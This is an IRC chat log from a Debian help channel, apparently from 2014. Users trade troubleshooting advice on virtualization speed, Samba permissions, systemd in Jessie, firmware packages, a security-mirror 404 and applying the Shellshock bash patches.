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| 20:25.35 | abrotman | Eduard_Munteanu: you can, if you know what you're doing |
| 20:25.39 | abrotman | not really recommended |
| 20:25.59 | topi` | abrotman: probably not... when I read the description on how virtualization works with x86_64, I immediately understood why I/O stuff is slow ... because of how syscalls are implemented |
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| 20:26.25 | abrotman | topi`: I run a wheezy vbox on OSX, I haven't noticed slowness |
| 20:26.27 | Blokker | i would like a script that checks if i've modified a configuration before overwriting everything in /etc or a script that asks me some setup parameters so i don't have to go find them afterwards |
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| 20:26.33 | Eduard_Munteanu | Blokker, one workaround would be installing scripts to some /etc/post-install.d, or perhaps making the man-db updater and such package-manager-aware. |
| 20:26.52 | Blokker | off course there is always room for improvement. |
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| 20:27.18 | Eduard_Munteanu | abrotman, yeah... the semantics of current packages sort of suck. |
| 20:27.30 | Blokker | and some times it would be even good to start from scratch (like with hartblead and now shellshock) |
| 20:28.02 | teraflops | oh boy |
| 20:28.07 | Blokker | but i'm not smart enough to figure that one out myself in case of apt/dpkg |
| 20:28.16 | Eduard_Munteanu | debootstrap jumps through quite a few hoops to do --foreign installs. |
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| 20:28.37 | teraflops | thats so much crap for me today |
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| 20:29.32 | Blokker | anyway, past my bed time as well |
| 20:29.46 | Blokker | goes searching for his bed |
| 20:29.49 | topi` | same here |
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| 20:31.21 | valdyn | topi`: you know theres special devices and drivers to make i/o be not slow, right? |
| 20:32.18 | Eduard_Munteanu | In my experience, wheezy installs and upgrades are very slow, and I'm on kvm and use virtio. |
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| 20:32.25 | topi` | valdyn: nope.. |
| 20:32.43 | Eduard_Munteanu | It gets better once on wheezy/sid. |
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| 20:32.48 | Eduard_Munteanu | Er, jessie/sid. |
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| 20:34.32 | valdyn | !virtio |
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| 20:35.56 | valdyn | topi`: i cant say much about virtualbox. Typically theres driver disks from the vm vendor. |
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| 20:36.56 | valdyn | topi`: however it does not give a speedup in all cases |
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| 20:38.16 | valdyn | Eduard_Munteanu: virtio on wheezy can be extremely slow |
| 20:38.37 | valdyn | Eduard_Munteanu: i have only experienced that with a windows guest though |
| 20:38.41 | seander | Has anyone had any luck setting up and encrypted volume with two partitions? The installer defaults to ext4, and when I write that to the disk and then delete the partition I am unable to unlock it on first boot? |
| 20:38.52 | seander | If I do just ext4 it works great |
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| 20:39.36 | seander | Should I just do a seperate encrypted volume per partition? |
| 20:39.37 | Jeeves_Moss | what would case "premission denied" when I'm trying to move files from my netgear readyNAS to a windows share? The user creds on the Windows box are admin, and all the files/folders are owned by root:root on the NAS. |
| 20:40.19 | seander | Jeeves_Moss: Does the share allow writes? |
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| 20:41.02 | Eduard_Munteanu | Jeeves_Moss, samba shouldn't be running as root normally, so owned by root isn't a guarantee |
| 20:41.09 | valdyn | Jeeves_Moss: what is the precise command you are using? |
| 20:41.38 | Eduard_Munteanu | It should be accessing the files with the privileges of the unix user corresponding to the connected client. |
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| 20:42.20 | Eduard_Munteanu | And the Windows admin doesn't correspond to root by default. |
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| 20:50.02 | Jeeves_Moss | valdyn, if I use MC to move files, then I get hte error. It's error 13 |
| 20:50.40 | valdyn | Jeeves_Moss: to bad, thats not really helpful |
| 20:50.42 | abrotman | That's a movie title ... "Error 13" |
| 20:50.48 | valdyn | Jeeves_Moss: can you copy? |
| 20:51.05 | Jeeves_Moss | yes, as far as I know. I'm not at the house right now. |
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| 20:51.50 | valdyn | Jeeves_Moss: so you just dont have permissions to delete after copy, which is what move does in your case |
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| 20:57.53 | iio7 | Is it going to be possible to NOT use systemd on Jessie? |
| 20:58.11 | petn-randall | !systemd |
| 20:58.14 | dpkg | systemd is a system and service manager for Linux, compatible with SysV and LSB init scripts. It is a replacement for <sysvinit>. systemd is shipped as a technology preview in Debian 7 "Wheezy" and will be be the default init system in Debian 8 "Jessie". https://wiki.debian.org/systemd #debian-systemd on irc.oftc.net http://freedesktop.org/wiki/Software/systemd #systemd on irc.freenode.net. See also <why systemd>. |
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| 20:58.44 | iio7 | I know what it is, but can't it be changed? |
| 20:59.11 | petn-randall | iio7: No. You also can't go back to XFree86. |
| 20:59.27 | iio7 | I can't believe that after having run with Debian on all our boxes for more than 10 years I think, we're going to leave Debian over this issue! |
| 20:59.30 | abrotman | iio7: yes, you can try to switch. It largely depends on what other software you want to use |
| 20:59.41 | Jeeves_Moss | valdyn, it says "cannot create target", yet the admin is the owner of the drive, folder, etc. on the windows box |
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| 21:00.22 | iio7 | abrotman, I think a major boykott is on its way. |
| 21:00.32 | abrotman | iio7: Doubtful |
| 21:00.54 | abrotman | iio7: Do you actually need help? |
| 21:01.01 | iio7 | abrotman, nope |
| 21:01.11 | abrotman | iio7: Thanks, you have your answer, good luck |
| 21:02.17 | iio7 | abrotman, lol, yeah right.. http://boycottsystemd.org/ |
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| 21:03.09 | abrotman | Enjoy your Gentoo |
| 21:03.35 | thingfish | lol |
| 21:03.40 | valdyn | iio7: I cant take that serious, because the people who made that site obviously dont have the technical competence |
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| 21:03.54 | abrotman | valdyn: he's gone, and yes |
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| 21:04.11 | abrotman | iio7: the only major distro not using systemd is Gentoo, good luck |
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| 21:05.09 | abrotman | dpkg: tell iio7 about systemd ranting |
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| 21:06.14 | rudi_s | petn-randall: Wheezy works fine without systemd though. |
| 21:06.19 | rudi_s | s/Wheezy/Jessie/ |
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| 21:06.28 | abrotman | rudi_s: he misspoke |
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| 21:07.26 | rudi_s | Ok, np. Just wanted to clarify that. |
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| 21:11.08 | iio8 | This is getting real funny! |
| 21:11.10 | iio8 | LOL |
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| 21:14.31 | thingfish | so fun to be an op |
| 21:14.42 | babilen | yay |
| 21:14.44 | markrian | I'm getting a 404 on http://security.debian.org/dists/wheezy/updates/main/binary-i386/Packages... anyone aware of any problems? |
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| 21:15.07 | abrotman | markrian: wheezy-updates |
| 21:15.12 | abrotman | i thought ? |
| 21:15.31 | Afterster | hi |
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| 21:15.50 | markrian | abrotman, I've not changed my sources.list in ages, so I'd be surprised (and worried!) if that's it... |
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| 21:15.56 | babilen | nope, wheezy/updates is fine. |
| 21:16.06 | markrian | hmm |
| 21:16.19 | abrotman | markrian: check the mirror manually? |
| 21:16.37 | abrotman | when I load it here, seems fine |
| 21:16.40 | markrian | Yeah, I see Packages.bz2 and Packages.gz, but no Packages |
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| 21:18.15 | markrian | So perhaps the question is, why is apt not using those compressed versions...? |
| 21:18.34 | Afterster | I'm new in debian packaging (to create 'clean' package at least...) and I try to continue the work of previous ampache project maintainer |
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| 21:19.12 | markrian | huh, this guy had the same problem: http://debian.distrosfaqs.org/debian-user/apt-get-update-not-downloading-packagesgzbz2-trying-to-load-packages-which-is-not-on-server/ |
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| 21:19.37 | Afterster | I moved from Launchpad to GitHub (because the project is originally hosted and then use git-buildpackage after updating upstream and few scripts |
| 21:19.46 | babilen | markrian: Are you using a caching proxy or so in between? |
| 21:19.55 | petn-randall | Afterster: There is #debian-mentors on irc.oftc.net, where people can help you with packaging for Debian. |
| 21:20.22 | Afterster | haha ok, sorry for the noice and thanks petn-randall :) |
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| 21:20.53 | petn-randall | Afterster: No problem, where here to help :) |
| 21:21.12 | markrian | babilen, not that I know of! |
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| 21:23.14 | markrian | Perhaps the node I'm hitting, due to my location (UK), doesn't have the file? |
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| 21:28.10 | babilen | markrian: It should still attempt to download. Sorry, bit too late here in .de and I'm off. All the best! "apt-get -o Debug::Acquire::http=true update" would probably come in handy. |
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| 21:29.15 | Klaus_Dieter | hello world. |
| 21:30.35 | markrian | babilen, ah, thanks for the tip |
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| 21:31.57 | markrian | bizarre, I can see it's getting Packages.bz2 from other mirrors, just not from security.debian.org... |
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| 21:33.31 | Drevkevac | hey, I need the module "rtl8188efw.bin" for my wifi to work, which is supposed to be included in firmware-realtek, however, it does not appear in /lib/firmware/rtlwifi |
| 21:33.33 | Drevkevac | any ideas? |
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| 21:35.13 | abrotman | Drevkevac: which versoin of Debian? |
| 21:35.16 | Drevkevac | wait, it may be because its not in the wheezy version of firmware-realtek |
| 21:35.28 | abrotman | judd: file rtl8188efw.bin --release wheezy |
| 21:35.33 | judd | No packages in wheezy/i386 were found with that file. |
| 21:35.33 | abrotman | judd: file rtl8188efw.bin --release jessie |
| 21:35.36 | judd | Search for rtl8188efw.bin in jessie/i386: firmware-realtek: lib/firmware/rtlwifi/rtl8188efw.bin |
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| 21:35.48 | abrotman | judd: versions firmware-realtek |
| 21:35.48 | judd | Package: firmware-realtek on i386 -- squeeze/non-free: 0.28+squeeze1; squeeze-backports/non-free: 0.36+wheezy.1~bpo60+1; wheezy/non-free: 0.36+wheezy.1; wheezy-backports/non-free: 0.41~bpo70+1; jessie/non-free: 0.43; sid/non-free: 0.43 |
| 21:35.52 | abrotman | Drevkevac: you can try the one from wheezy-backports |
| 21:36.08 | markrian | okay, wth, I can see a GET was made to http://security.debian.org/dists/wheezy/updates/main/binary-i386/Packages.bz2, which is great... So why is it complaining about a 404 to [...]/Packages?! |
| 21:36.19 | Drevkevac | abrotman, I have backports in sources.list, how can I check which version is installed? |
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| 21:39.11 | cromag | is DSA-3032 the "final" fix at this point ? |
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| 21:40.30 | Drevkevac | installing firmware-realtek from jessie worked, so never mind guys ;) |
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| 21:41.39 | abrotman | cromag: Don't you think that remains to be seen? :) |
| 21:42.08 | cromag | not when it's "at this point" :) |
| 21:42.22 | abrotman | cromag: I've seen rumors |
| 21:42.23 | cromag | i'm just not really sure if i'm patched or not |
| 21:42.34 | cromag | and yes rumors.. :( |
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| 21:43.01 | cromag | but is there any comming update, as in a public official one ? |
| 21:43.24 | abrotman | cromag: I'd suspect you'd get a better answer from #bash |
| 21:43.52 | cromag | i was thinking via apt-get something, that's why im asking here :/ |
| 21:44.04 | abrotman | cromag: I meant about further updates |
| 21:44.08 | cromag | ah |
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| 21:49.57 | markrian | bah |
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| 21:59.01 | mesa | cromag: https://shellshocker.net/ -> and as suggested -> #bash - The topic in bash says (bash43-025 and -026) are official now although Patch -027 is the latest as of today. shellshocker.net has an easy way to patch at the top of the page. I'm just the messenger. Cron the shellshocker.net to check for a patch every 30 minutes if you like. You've only been vulnerable since 1994. =) |
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| 22:00.01 | cromag | hehe |
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| 22:03.32 | cromag | mesa: thanks - i was looking for something compact like that |
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| 22:05.18 | mesa | cromag: I believe the latest debian security ANN concerning bash is https://www.debian.org/security/2014/dsa-3035 and the latest wheezy patch is version 4.2+dfsg-0.1+deb7u3. |
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| 22:05.55 | mesa | cromag: Your welcome! |
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| 22:06.33 | cromag | so what i get from that is that, at this point, 4.2+dfsg-0.1+deb7u3 is a "complete" patch, untill further notice ;) |
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| 22:06.53 | cromag | and untill other findings etc. |
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| 22:09.01 | mesa | cromag: yeah, I would just apt-get the official debian fix "4.2+dfsg-0.1+deb7u3" and /if/ you want to patch the latest use the shellshocker script to keep right on top of it. |
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| 22:09.15 | cromag | yeah |
| 22:09.26 | stojic | this is newer DSA (same bash package version though): https://security-tracker.debian.org/tracker/DSA-3035-1 |
| 22:09.40 | mesa | stojic: Thanks |
| 22:09.49 | cromag | ah |
| 22:09.55 | cromag | now that makes more sense to me |
| 22:10.13 | cromag | i can actually most likely sleep now.. |
| 22:10.24 | stojic | I think CVE-2014-7186, CVE-2014-7187 were assigned later than DSA-3035 was published, but were fixed originally, so thus updated DSA-3035-1 |
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| 22:12.46 | stojic | umm, I got these identifiers all mixed up, never mind me :-) |
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| 22:13.50 | mesa | My bash functions were all mixed up earlier. =0 |
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| 23:40.55 | kryl | hi |
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| 23:42.21 | kryl | I have 2 wireles card, I just want to simple connect these cards to 2 different wifi and do some bonding through them. If there is the same network addressed on them 192.168.1.x I can guess there will be a problem but I want to make it sure what is your opinion please ? |
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